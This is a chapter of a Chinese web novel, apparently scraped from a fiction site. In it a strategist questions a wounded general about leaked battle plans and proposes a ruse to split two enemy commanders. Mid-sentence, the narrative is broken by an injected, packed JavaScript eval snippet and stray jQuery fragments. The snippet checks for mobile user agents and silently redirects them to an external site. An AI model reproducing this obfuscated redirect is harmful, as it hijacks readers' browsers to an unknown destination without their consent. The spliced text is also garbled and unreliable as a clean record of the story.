肖台玉已经拿下魏州?这就是肖砚初说的计划?
“你身为她的幕僚,居然也不知道?”张广移开目光,看向通往西院的那条路。
“那走吧,先去看看林将军。”
沈凌云大概想明白了,肖台玉原本就打算往魏州走。而派林江先攻打相州,无非是想试探范贞的人是否会按照约定支援。她这一步既测试了同盟的可信度,还能转移视线,方便她拿下魏州。
而且如果林江拿下相州,营州军队无疑会名声大噪,士气高涨。那她接下来攻打郑州胜算就会更大。
但谁都没料到,李南嘉与相州背后合作,使得相州并没有如愿落入她手里。
两人一路无话,很快就到西院。
沈凌云一进门就闻到苦涩的药味,这是这些天她闻到过最多的味道。
“林将军,感觉可还好?”
沈凌云看着林江那张煞白的脸,以及头顶鲜红的光,僵硬地问。
林江后背垫着枕头,状态并没有她想象的那么糟糕,“这点伤还死不了,不必担忧。”
说完又朝周围的侍从说到,“你们都先下去吧,我想与沈三单独说说话。”
侍从们立即为两人腾位置,房间一下子就显得很空旷。张广看了看沈凌云,转头朝林江皱眉摇头。
“你也出去吧。”
这下子房间就只剩两人,沈凌云在林江的眼神示意下,坐到床边的凳子上。
“林将军为何单独留下我?”
“你单独来找我,不就是想知道途中到底发生了什么。万川这个人一直在我手下做事。我从前便知道,在军中你二人关系最为密切。”
林江眯起眼睛,“你从前虽与辎重队的士兵相处都不错,但万川从前总与我说,你过于少年老成,总喜欢操心。她几乎将你当作女儿看待,我自是应该告诉你。”
“那日我们按照大将军计划,到达玉溪,便准备在那休整。万川带队先行去往指定地点,但却精准遇袭。这想必你也清楚,只是那时按照从大将军决定先攻相州的时间,相州主力绝不可能已经在玉溪。”
"您怀疑军中有人提前透露了大将军的计划?但若是如此,那这个人也只会是大将军身旁信赖之人。"沈凌云眉头一动。
“我也正是如此猜想。之后一路上,相州守军都能精准知晓我方行程。我那时察觉不对,便退到相、魏两州边界,但遭到肖大人与大将军的严厉谴责。我无可奈何,只能继续往相州城前进。”
说到这,林江咳嗽几声。沈凌云走到桌边,斟了杯茶,递给林江。
林江喝完,手用力捏着茶杯,眼神有些晦暗不明。“但途中我并未按原定路线行事,但还是遭遇埋伏。相州主军竟提前在我转变路径的必经之路,将山头炸毁。我只带着几千人逃离,但一路还有些埋伏,我更是受了伤。”
“您可发现身边有可疑之人?”沈凌云觉得这营州军是筛子,怎么计划都被泄露出去?就算刚出炉的计划都逃不过。
“我更改路线之事只有张广知晓,但我身受重伤时,是她将我冲出险境。”
沈凌云想既然不是身边的人,那可能对方将领是天纵奇才,预判了林江的所有行动。
“想必是对方十分了解我,看穿了我的安排。”听到林江这番话,两人倒是不谋而合。
“但据我所知,相州守将王礼并没有如此才能,她手下幕僚也并没有这等能人。”林江眉头紧蹙,看上去百思不得其解。
沈凌云并不了解相州守将,也不好发表自己对她的看法。反而问道,“那您为何会到青石县附近,您遇袭之地与此地似乎相隔甚远。”
“王礼带着几千人一直追着我们来到西南,但我们越接近这西北方向,她们反而并未再追,我便往这方向来了。而且那时也刚收到你们在青石的消息,便想来与你们会合。”林江语气淡淡。
沈凌云看着她头上一会红一会蓝的光,直接问道:“您想必知道肖大将军拿下魏州的消息,也已经知道大将军并不信任您。您现在怨恨她让您成为挡箭牌,当成试探范贞的棋子,还让那些和您出生入死的将士几乎全部牺牲,我说的对吗?实在令人扼腕,您之前亲自训练的将士几乎都折在相州。”
林江头顶的光一下子就消失了,她转过头看向沈凌云,眼里意味不明。
“您为什么将这一切告诉我,想引导我往哪想?”沈凌云干脆挑明。
林江突然一笑,“你倒是敏锐,我说什么不重要不是吗?你看样子已经有自己的判断。”
她懒懒躺下去,“你出去吧,我再说什么已经没意义了。”
沈凌云站起身,从她手中拿走茶杯。走到桌前,茶杯和木桌碰撞发出清脆的声响。
“林将军,能否派人帮我去玉溪拿些土,回营州好歹能给师傅夫郎一点念想。”
她转头看向床头,“我会尽我所能完成您所愿,在肖大人面前为您求情。”
两人对视半响,林江点头应允。
沈凌云垂下眸子,推门离开。
她离开西院,便打算立即去找肖砚初。但她也并未想好,应该怎么争取为林江减轻惩罚。上头有时候并不在乎事情的经过,她们注重结果。
而林江非没能达成令她们满意的结果,还折进去七千多人。
但这样的糟糕的结果似乎是肖台玉喜闻乐见的。
沈凌云脑子里不由得浮现那日在营州议事厅,邓竹与肖台玉的幕僚据理力争、各执一词。
林江自从上次在石寒与契丹达成协议,再加上平常在军中爱兵和善的表现,在军队威望大涨。
她一路上都在组织语言,很快就来到肖砚初的院子。通过侍从指引,来到院子里的凉亭。
肖砚初正在凉亭那喂鱼,余光瞥了眼沈凌云,“沈三,你怎么现在来找我?”
“属下有要事禀报,事关相州与仪州。”
“属下方才去医馆,听大夫说前几日医治了一名身受重伤的青石士兵。原是想看看这青石士兵是何情况,没成想得到一个惊天消息。”
沈凌云这番话成功让肖砚初站起身,只见她快步走到沈凌云跟前,“什么消息?”
沈凌云将小木母亲说的话复述一遍,还将之前李南嘉的表现分析给肖砚初听。
“属下认为,林将军这一路受挫,很有可能是因李南嘉。”
肖砚初听到这话,很恼怒,“到这时
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13327948|138015||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
候才知道这消息,早已为时已晚。”
她将手里的鱼食狠狠砸向水面,那些鱼儿争先恐后围住。
“势者,因利而制权也。如今李南嘉尚未到相州城,且相州守将王礼据林将军所说,还在西南方向。两人还未在相州城会合,这便是我们的机会。”沈凌云觉得可以来一出反间计。
“您派人加大利益,先稳住李南嘉。随后派人伪装成李南嘉的人去西南见王礼,装作已接受我们的好处,打算处理掉她。等两人合作破裂,那时候这相州局面对我们并非皆为不利,还有很大把握能从李南嘉手中拿下相州。”
肖砚初在亭子里来回踱步,“那应该派谁去呢?装作李南嘉的人风险极大,谁能胜任?不行!若是失败对我们更为不利,实在过于冒险。”
“属下可去!属下愿意为大人效犬马之劳,若是失败绝不回来见您。”沈凌云铿锵有力的承诺,一下子把肖砚初镇住。
“你?真能行?”肖砚初还有些犹豫。
“属下愿立军令状,有八成的把握能骗过王礼。她虽与李南嘉合作,但相州城现在到底是在别人手里。这绝对令王礼不安,现在只需将这样的不安放大。”
沈凌云现在只能想到这个办法,她赌一把。如果她能成功,她不仅能让肖砚初减轻林江的惩罚,还能更进一步,不必担心成为随时被牺牲的棋子。
若是失败,她就跑路,相州没人认识她,她也能重新开始。
停顿半晌,肖砚初最终点头,“那好,你即刻前往西南方向,找到王礼。”
沈凌云觉得肖砚初就这么相信她有些草率,她以为还要再费些口舌。但可能是心急了,她娘肖台玉交给她的任务完成的稀碎,她估计也想最后赌一把。
“大人,派去相州城与李南嘉周旋之人,属下觉得李易能够胜任。她为人机敏,定能为属下争取更多时间。”
肖砚初现在脑子很乱,顺势也就答应,还催促肖砚初立即去找王礼。
沈凌云急忙去找李易,将事情又对她说一遍,并将要求告诉她,让她务必牵制住李南嘉。
李易觉得沈凌云在开玩笑,“沈三,别拿我寻开心。”
“我现在立即就要出城,此乃大人的安排。我知道以你的才能,定能发挥作用。就算是出一些阴招,也一定要拖住李南嘉,别让她将相州城退还给王礼。”
沈凌云深深看了李易一眼,眼神带着肯定。
她没再说话,便带着肖砚初的令牌,在这两千人中清点了一百个会说简单仪州话的人往西南方向赶去。
晚上只休息几个时辰,一路上经过伪装,询问一些村民,又通过路上的痕迹终于在一个小县城追上王礼。
沈凌云叫这一百人尽量不开口说话,若是必须交流,也尽量使用仪州话。加之与李南嘉那支队伍相处过一段时间,知道仪州士兵的一些习惯。
交代完毕,便直接来到王礼驻扎在县城外的营地。
巡逻的士兵见一百人朝这来,立刻戒备起来。
沈凌云单独骑着马向前,“在下仪州李将军手下之人,找王将军有要事相商。”
这些人一听是李南嘉的人,立刻拿着拿着刀枪对准沈凌云。